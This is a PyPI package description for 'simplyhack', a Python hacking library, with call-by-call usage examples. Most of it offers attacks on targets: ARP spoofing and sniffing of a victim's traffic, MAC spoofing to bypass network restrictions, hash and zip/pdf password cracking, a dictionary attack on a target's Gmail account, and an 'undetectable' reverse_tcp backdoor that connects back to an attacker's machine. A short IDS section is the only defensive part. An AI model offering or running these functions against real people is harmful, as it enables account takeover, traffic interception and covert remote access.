Package: simplyhack
SimplyHackSimplyHack is currently under construction and is not completly ready for use yet! You may encounter many bugs while using SimplyHack, so feel free to report those to me on my Instagram. Instagram - Abhishek Dangat - @abhishek0.deb.
Currently experimenting and planning.Developed by -Abhishek DangatA guide on how to useInstallationsudoaptupdate&&sudoaptinstallpython3-pip
pip3installsimplyhackif this gives errors, try :-sudoaptupdate&&sudoaptinstallpython3-pip
pip3installsimplyhack==0.0.9[Reconnaissance]Subdomain scannerdomain = domain name of the target. eg: (domain="example.com")protocol = The protocol of the specified domain name. eg: (protocol="http" OR protocol="https")wordlist = The wordlist of subdomains for scanning. eg: (wordlist="default" OR wordlist="somewordlistfile.txt")Note: You should specify only on of the options for protocol and wordlist.
For protocol, either specifyprotocol="http"or specifyprotocol="https".
For wordlist, either specifywordlist="default"to use the default wordlist, but you have a wordlist of your own, specifywordlist="wordlistname.txt"importsimplyhack# or use - from simplyhack import subdomain_scan# IF you want to use the default wordlistsimplyhack.subdomain_scan(domain="example.com",protocol="http/https",wordlist="default")# OR if you want to specify your own wordlistsimplyhack.subdomain_scan(domain="example.com",protocol="http/https",wordlist="wordlist.txt")Discover hidden directoriesdomain = domain name of the target. eg: (domain="example.com")wordlist = The wordlist of subdomains for scanning. eg: (wordlist="default" OR wordlist="somewordlistfile.txt")Note: You should specify only on of the options for wordlist.
Either specifywordlist="default"to use the default wordlist, or specifywordlist="wordlistname.txt"to use your own wordlistimportsimplyhack# or use - from simplyhack import directory_scan# If you want to use the default wordlistsimplyhack.directory_scan(domain="example.com",wordlist="default")# if you want to specify your own wordlistsimplyhack.subdomain_scan(domain="example.com",protocol="http/https",wordlist="wordlist.txt")Web Spiderurl = The Domain name of the target. eg: (url="example.com")Note: Do not include the protocol in the URL. ie. Use url="example.com" and not url="https://example.com"importsimplyhack# or use - from simplyhack import web_spidersimplyhack.web_spider(url="example.com")DNS Lookupimportsimplyhack# or use - from simplyhack import dns_lookupsimplyhack.dns_lookup(url="example.com")RDNS Lookupimportsimplyhack# or use - from simplyhack import reverse_dns_lookupsimplyhack.reverse_dns_lookup(ip="<target IPv4>")Local Network ScanningtargetIP = The IPv4 address of the target machine. Either specify a single IPv4 (xxx.xxx.xxx.xxx) or use /24 to specify the entire network class (xxx.xxx.xxx.1/24)importsimplyhack# or use - from simplyhack import local_scan# to scan only the specified ipsimplyhack.local_scan(targetIP="xxx.xxx.xxx.xxx")# to scan the entire networksimplyhack.local_scan(targetIP="xxx.xxx.xxx.1/24")[Network Attacks]MITM (ARP Spoofing)routerIP = The IPv4 address of your routertargetIP = The IPv4 address of the victims deviceNote: you can use the local scan functionality of simplyhack to get the IPv4 address of the victim's device and the router.importsimplyhack# or use - from simplyhack import arp_spoofsimplyhack.arp_spoof(routerIP="<router IPv4>",targetIP="<target IPv4>")Note: This will make your device the MITM and then you can run further attacksMITM (Packet Sniffing)interface = Your current interfaceNote: To successfully sniff packets of the victim's device, you first need to be the Man In The Middle. For this to happen, use the ARP Spoof functionality 1st and then run the packet snifferimportsimplyhack# or use - from simplyhack import sniff_packetssimplyhack.sniff_packets(interface="<your interface>")This currently works only on the sites using HTTP. I will soon release a version that will work for all other protocols as well.Local Network ScanningSame as mentioned aboveMAC Changer (Bypass network restrictions)interface = Your current network interfacenew mac = The new mac address.ischeck = To specify if you want to check if your devices MAC Address has changed or not.Note: If you want a randomly generated MAC address as your new MAC, then specify rand, But if you want a specific new MAC address then specify the address xx:xx:xx:xx:xx:xxCheck out the Wiki page of MAC Address for more informationimportsimplyhack# or use - from simplyhack import change_mac_address# use rand to get a randomly generated MAC address or specify a new one# new_mac="rand" for random MAC# new_mac="xx:xx:xx:xx:xx:xx" for specific MAC# Set ischeck to either TRUE or FALSE.# ischeck="TRUE" will help you check if the MAC address is really changed# ischeck="FALSE" will exit the script without checkingsimplyhack.change_mac_address(interface="<Your Interface>",new_mac="rand OR <new MAC>",ischeck="TRUE/FALSE")[Defense]Network Intrusion Detection System (IDS)Interface = Your current interfaceimportsimplyhack# or use - from simplyhack import network_idssimplyhack.network_ids(interface="<Your current interface>")Endpoint Intrusion Detection System (IDS)importsimplyhack# or use - from simplyhack import endpoint_idssimplyhack.endpoint_ids()[Password Cracking (Dictionary attacks/Bruteforce attacks)]Hash crackinghash type = Type of the hash. available types: sha1, sha224, sha251, sha512, md5passwordHash = The passwords in hashed format to crackwordlist = wordlist of passwordsNote: you can use the default wordlist by specifying wordlist="default" or if you want to specify a wordlist of your own then you can specify it like wordlist="somewordlistfile.txt"importsimplyhack# or use - from simplyhack import hash_crack# for default wordlistsimplyhack.hash_crack(hash_type="sha1/sha224/sha256/sha512/md5",passwordHash="<Password Hash>",wordlist="default")# for specified wordlistsimplyhack.hash_crack(hash_type="sha1/sha224/sha256/sha512/md5",passwordHash="<Password Hash>",wordlist="somewordlistfile.txt")Cracking a password protected file's passwordfiletype = The extension of the file. Extensions currently available: (pdf, zip)file path = The path of the filewordlist = The password wordlistNote: you can use the default wordlist by specifying wordlist="default" or if you want to specify a wordlist of your own then you can specify it like wordlist="somewordlistfile.txt"importsimplyhack# or use - from simplyhack import crack_passprotected# for default wordlistsimplyhack.crack_passprotected(filetype="<file type>",file_path="/xxx/xxx/xxx/file.zip/.pdf",wordlist="default")# for specified wordlistsimplyhack.crack_passprotected(filetype="<file type>",file_path="/xxx/xxx/xxx/file.zip/.pdf",wordlist="somewordlistfile.txt")Gmail dictionary attacktarget gmail = The targets Gmail addresswordlist = The password wordlistNote: you can use the default wordlist by specifying wordlist="default" or if you want to specify a wordlist of your own then you can specify it like wordlist="somewordlistfile.txt"importsimplyhack# or use - from simplyhack import gmail_brute# for default wordlistsimplyhack.gmail_dictatk(target_gmail="example@gmail.com",wordlist="default")# for specified wordlistsimplyhack.gmail_dictatk(target_gmail="example@gmail.com",wordlist="wordlist.txt")[Vulerability Discovery]Web Vulnerability ScannerNote: This scanner is currently under construction and is not completly ready to use.domain = The target URL to scan.Note: Do not include the protocol of the URL. ie. Use domain="example.com" and not domain="https://example.com"importsimplyhack# or use - from simplyhack import web_vuln_scansimplyhack.web_vuln_scan(domain="example.com")Network Vulnerability ScannerNote: This scanner is currently under construction and is not completly ready to use.ip = the IPv4 address of your targetNote: You can also specify your entire IP range. eg xxx.xxx.xxx.1/24importsimplyhack# or use - from simplyhack import port_vulnscansimplyhack.port_vulnscan(ip="<Your target IP/IP range>")[Gaining Access]Undetectable reverse_tcp connection Backdoor (Client)server ip = The IP address of the attackers machingserver port = The port number on which you have to listen for connectionsNote: Do not use quotation while specifying the port number. ie. use xxxx and not "xxxx" to specify the port numberimportsimplyhack# or use - from simplyhack import backdoor_clientsimplthack.backdoor_client(server_ip="<server IPv4>",server_port=<serverportnumber>)reverse_tcp connection Serverserver ip = The IP address of the attackers machingserver port = The port number on which you have to listen for connectionsNote: Do not use quotation while specifying the port number. ie. use xxxx and not "xxxx" to specify the port numberimportsimplyhack# or use - from simplyhack import backdoor_serversimplthack.backdoor_server(server_ip="<server IPv4>",server_port=<serverportnumber>)